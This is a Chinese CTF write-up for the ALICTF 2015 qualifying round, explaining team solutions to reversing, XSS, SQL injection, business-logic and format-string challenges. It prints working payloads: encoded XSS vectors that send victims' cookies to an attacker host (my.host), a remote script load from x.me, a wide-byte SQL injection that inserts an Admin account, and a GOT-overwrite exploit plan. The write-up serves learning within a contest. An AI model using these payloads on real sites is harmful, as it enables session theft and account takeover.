ALICTF 2015 初赛Writeup
最后得了第二十一,后来看人家的Writeup,发现差距还是很大的,继续学习。
Cake
这题不难,主要是工具出问题了耽误了时间。最后用Gapktool反编译成java源码,阅读源码得到key的算法。Check()方法中定义了一个长度为16的字符串,将字符串的第i与” bobdylan”的第 i % 8位进行异或,即得key。下面是php实现的算法。
1 |
|
前端初赛题1
初步测试了一下,过了. “‘()=等,而且题目指定用chrome测试,遂先后尝试了HTML imports, <svg>
等方法,最后队友成功利用<svg>
构造了个可用payload,本机测试成功,但是当晚提交连接之后却没有记录到cookies。最后经过测试发现是由于我们用了境外的vps来接收cookies导致的,换成国内主机即可。
Payload:
1 | http://089d9b2b0de6a319.alictf.com/xss.php?name=<svg><script>%26%23119%3B%26%23105%3B%26%23110%3B%26%23100%3B%26%23111%3B%26%23119%3B%26%2346%3B%26%23108%3B%26%23111%3B%26%2399%3B%26%2397%3B%26%23116%3B%26%23105%3B%26%23111%3B%26%23110%3B%26%2361%3B%26%2334%3B%26%23104%3B%26%23116%3B%26%23116%3B%26%23112%3B%26%2358%3B%26%2347%3B%26%2347%3B%26%23109%3B%26%23121%3B%26%2346%3B%26%23104%3B%26%23111%3B%26%23115%3B%26%23116%3B%26%2347%3B%26%23120%3B%26%23115%3B%26%23115%3B%26%2347%3B%26%23119%3B%26%2346%3B%26%23112%3B%26%23104%3B%26%23112%3B%26%2363%3B%26%2399%3B%26%23111%3B%26%23111%3B%26%23107%3B%26%23105%3B%26%23101%3B%26%2361%3B%26%2334%3B%26%2343%3B%26%23117%3B%26%23110%3B%26%23101%3B%26%23115%3B%26%2399%3B%26%2397%3B%26%23112%3B%26%23101%3B%26%2340%3B%26%23100%3B%26%23111%3B%26%2399%3B%26%23117%3B%26%23109%3B%26%23101%3B%26%23110%3B%26%23116%3B%26%2346%3B%26%2399%3B%26%23111%3B%26%23111%3B%26%23107%3B%26%23105%3B%26%23101%3B%26%2341%3B%26%2359%3B</script></svg> |
记录到的cookies内容:
1 | cookie=flag=aHR0cDovLzA4OWQ5YjJiMGRlNmEzMTkuYWxpY3RmLmNvbS96aGVkYW90aW11X3RlYmllbWVpeW91eWluZ3lhbmcucGhwP3Rva2VuPTJmOGU1OWFmMzhmMjQyMWMwYmI2ODQxODU2ZjhhZjVj |
将flag值debase64之后得到链接
1 | http://089d9b2b0de6a319.alictf.com/zhedaotimu_tebiemeiyouyingyang.php?token=2f8e59af38f2421c0bb6841856f8af5c |
访问得到flag:51bfa0fa2405ef50a0fcf2f12d163e11958edb29
Payload的大概原理是<script>
前的<svg>
标签影响了html的解析顺序,导致了<script>
标签内的html实体编号先解析,导致了script标签可执行。
相关资料:http://segmentfault.com/q/1010000002391106
前端初赛题2
该题目为一个swf文件,用http://www.showmycode.com/ 反编译一下,得到as源码:
1 | package { |
打开看了一下,
1 | var _local1:* = root.loaderInfo.parameters;//用系统自带的方法取得url参数,为一个对象数组 |
所传递的_local1.debug对象被删掉了,无法利用。这个尝试了很久,由于原来swf没有debug输出,比较难猜测,于是在反编译得到的as源码基础上加上了_local1、
root.loaderInfo.url.substr((_local2 + 1)和_local3的debug输出,更好的观察参数传递进去的情况。
最后尝试了%00截断,仍然不行,但是此时删掉了一个0,留下%0,发现控制台的undefined提示没有了,也就是说debug参数没有被删除,正确地传进了ExternalInterface.call("console.debug", _local1.debug) ;
里,进一步调试,最后成功alert。
最后构造的payload为:
1 | http://8dd25e24b4f65229.alictf.com/swf.swf?debug%0==123\%22));window.location=%27http://my.host/xss/w.php?cookie=%27.concat(unescape(document.cookie));}catch(e){}// |
本地测试成功,但是提交之后记录不到cookies,怀疑是其中的%0有影响,改成%9在本机测试,依然成功,再次提交,得到cookie:
1 | cookie=flag=aHR0cDovLzhkZDI1ZTI0YjRmNjUyMjkuYWxpY3RmLmNvbS9uaWppdXNoaV9jaHVhbnNodW96aG9uZ2RlX3hzc194aWFvd2FuZ3ppLnBocD90b2tlbj1kYzk3ZWM3N2E2OGI0MTQxOTA0OTMyODI0NDg5NjRiMw |
flag后添加两个==,debase64后得到链接
1 | http://8dd25e24b4f65229.alictf.com/nijiushi_chuanshuozhongde_xss_xiaowangzi.php?token=dc97ec77a68b414190493282448964b3 |
Payload是碰巧试出来的,后来一想有可能是as脚本将%0这样的字符串当成格式化字符串来处理了,导致问题。
简单业务逻辑
从注册页面和登陆页面分别得到注册和登陆的业务逻辑。
注册:
1 | <!-- $username = mysqli_real_escape_string($conn, $_POST['username']); |
登陆:
1 | <!-- $username = mysqli_real_escape_string($conn, $_POST['username']); |
可见都用了mysqli_real_escape_string来防注入,看到这个马上想到可能有宽字节注射。简单测试username=123%cf%27%23&password=123123123
,多次提交均显示 scuuess,说明select语句正常执行,语句变成:
select * from users where username='123?’#
insert into失败,因为用用户名后面注释掉,插入语句变为:
Insert into users(username, password) values(‘123?’#,’123123123’);
再尝试用密码参数进行注入:
先给username传一个真实不存在的用户:username=donotexist&password=123456789%cf%27)%23
第一次提交,success,再次提交用户名已存在,基本确定存在宽字节注入。再来分析业务逻辑:注册的逻辑是先将传入的username带到查询里,看看是否已经存在该用户,不存在的话insert into来插入新用户信息,这里猜测用户表里没有做unique约束。再从主页上看到shop页面是Admin only,构造payload:
1 | username=asdasdasdasdasd&password=123456123456%cf%27),(0x41646d696e,0x41646d696e41646d696e)%23 |
插入一个用户名Admin,密码AdminAdmin的帐号,成功登录。
首页提示flag价值$1000,Admin帐号只有$11,先看看表单。
1 | <td>$1000</td> |
发现一个num字段,将其改成0.0001,提交表单,flag跳出来了。
该方法在写writeup时无法复现。后来尝试构造超长用户名:Admin(n个空格)n,多次提交均可以注册成功,说明用户名长度超过了用户表中username字段的长度,最后的n被截断,导致将一个Admin用户成功插入到用户表里。
简单业务逻辑2
1 | <!-- |
加密部分算法是上图所示
反过来可以通过包头中时间戳md5后同最终的cipher后32位异或得到反向的V,正序后为4e224df013b3fd4f0de54126186e75de,通过V与最终cipher前32异或得到plain与rnd异或的值,再与rnd异或一次得到md5后的plain,解密后为Guest,将V放入encrypt,plain赋Admin,得到role为Admin的cookie打开网站,进入article页面
在cookie处发现序列化后的参数,尝试注入
1 | <?php |
得到flag的地址
###业务逻辑和渗透
该题也是一个注册和登陆页面,先注册一个试试。要求提供邮箱,想了下还是填个有效的吧,估计会有用。注册完了去重置密码,邮箱收到一个重置链接:
1 | http://jinan.alictf.com/resetpass/reset.php?pass_token=57b82007a6eb7304ead4080fcc2522c8 |
重置页面的表单有隐藏字段email,
改成重置链接那个发件邮箱alictf@189.cn,新密码填a123456直接提交表单,提示重置成功。用Admin和a123456登陆成功,得到flag。该题的当时没截图,后来无法重现。
###前端初赛题3
该题同样是用js实现了一个parser,取得当前url进行解析。先new URL(location.search.substr(1));取得url中?后的字符串,然后用实现的parser对该字符串进行处理,根据处理逻辑可知,?后传入的应该是我们的xss vector,但是要适当构造,绕过parser的判断。
关键在这里
1 | //parse port |
这里的port属性后来并没有引用,而最后是要判断authority属性的。所以可以构造payload
1 | http://ef4c3e7556641f00.alictf.com/xss.php?http://123@notexist.example.com:@x.me/xss/x1.js |
这个payload经过自实现的parser后,authority会被赋值为notexist.example.com,port则为@x.me,但是这并不影响,因为port后来并没有引用和判断。而访问该url会被认为是使用帐号123@notexist.example.com和空密码向x.me 主机请求http基础认证,可以正常访问。提交paylaoad,记录得到cookies。
1 | cookie=flag=aHR0cDovL2VmNGMzZTc1NTY2NDFmMDAuYWxpY3RmLmNvbS9kYXRvdWVyemlfaGVfd2VpcXVubWFtYV9kZWd1c2hpLnBocD90b2tlbj1kYzk3ZWM3N2E2OGI0MTQxOTA0OTMyODI0NDg5NjRiMw |
补等号,debase64得到链接:
1 | http://ef4c3e7556641f00.alictf.com/datouerzi_he_weiqunmama_degushi.php?token=dc97ec77a68b414190493282448964b3 |
访问得flag:
###谁偷了你的站内短信
题目提供一个ELF可执行文件,丢IDA看看,由于刚接触二进制逆向,还是先用F5看看吧。
发现函数列表里有print_flag函数
点进去F5看看
没错,是读flag的,但是程序中没有调用这个函数的地方,先看看程序功能吧。
主菜单有注册和登陆,登陆之后可以查看收件箱,发件箱,发邮件,查看用户等功能。我注册一个新用户登陆进去之后,发现在我之前已经有一个奇怪的用户存在:
1 | Total 7 records. |
序号0那个用户很可疑,队友也说不是他们注册的。再根据ida提供的信息:
查询的地方都有注入,猜测flag可能在eaf124c02c4这个用户的收件箱或者发件箱里,尝试注入了一下,没有收获。
最后在sendMail函数里发现明显的格式化字符串漏洞:
由于sendMail()函数执行完会返回main()中,跟着执行displayAction(),而displayAction();里面是用puts来输出选项的。于是思路清晰了,将puts的got地址写到一个可控的内存位置,然后用格式化字符串来改写got表,使puts条目指向print_flag函数的地址,在这样在sendMail()函数返回后就会调用print_flag来打印flag。
看看gdb调试的结果:
调用sendMail()后显示from:当前用户名,也就是说用户名在mailMail()的栈里或者附近。Gdb把栈打印一下,找到相应的12字节。因为注册登陆的时候调用的是
1 | printf("Input Your Name:"); |
所以用户名占了12个字节,上图所示12个字节即为用户名在内存中的分布。然后用格式化字符串漏洞调用一下,打印大概范围的内存,看看具体偏移是多少。
得到偏移是%76$x,%77$x,%78$x,最后在IDA中找到相关的地址:
puts的got表地址:804C038
puts的实际地址:0804C16
print_flg的实际地址:08048BBD
下面是exp:
1 | #!/usr/bin/python |